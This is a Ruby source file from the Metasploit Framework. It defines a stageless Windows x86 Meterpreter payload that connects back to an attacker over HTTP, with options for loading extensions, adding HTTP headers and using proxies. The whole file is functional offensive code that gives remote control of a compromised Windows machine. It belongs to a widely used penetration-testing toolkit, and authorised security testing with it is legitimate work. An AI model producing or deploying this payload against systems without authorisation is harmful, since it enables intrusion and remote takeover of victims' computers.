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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 178780
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  include Msf::Payload::TransportConfig
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  include Msf::Payload::Windows
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  include Msf::Payload::Single
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  include Msf::Payload::Windows::MeterpreterLoader
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  include Msf::Sessions::MeterpreterOptions
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  def initialize(info = {})
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    super(
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      merge_info(
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        info,
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        'Name' => 'Windows Meterpreter Shell, Reverse HTTP Inline',
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        'Description' => 'Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.',
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        'Author' => [ 'OJ Reeves' ],
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        'License' => MSF_LICENSE,
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        'Platform' => 'win',
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        'Arch' => ARCH_X86,
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        'Handler' => Msf::Handler::ReverseHttp,
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        'Session' => Msf::Sessions::Meterpreter_x86_Win
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      )
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    )
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    register_options([
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      OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),
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      OptString.new('EXTINIT', [false, 'Initialization strings for extensions'])
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    ])
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    register_advanced_options(
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      Msf::Opt.http_header_options +
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      Msf::Opt.http_proxy_options
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    )
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  end
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  def generate(opts = {})
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    opts[:stageless] = true
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    stage_meterpreter(opts) + generate_config(opts)
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  end
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  def generate_config(opts = {})
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    opts[:uuid] ||= generate_payload_uuid
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    # create the configuration block
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    config_opts = {
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      arch: opts[:uuid].arch,
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      exitfunk: datastore['EXITFUNC'],
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      expiration: datastore['SessionExpirationTimeout'].to_i,
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      uuid: opts[:uuid],
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      transports: [transport_config_reverse_http(opts)],
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      extensions: (datastore['EXTENSIONS'] || '').split(','),
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      ext_init: datastore['EXTINIT'] || '',
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      stageless: true
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    }.merge(meterpreter_logging_config(opts))
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    # create the configuration instance based off the parameters
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    config = Rex::Payloads::Meterpreter::Config.new(config_opts)
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    # return the binary version of it
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    config.to_b
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  end
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end
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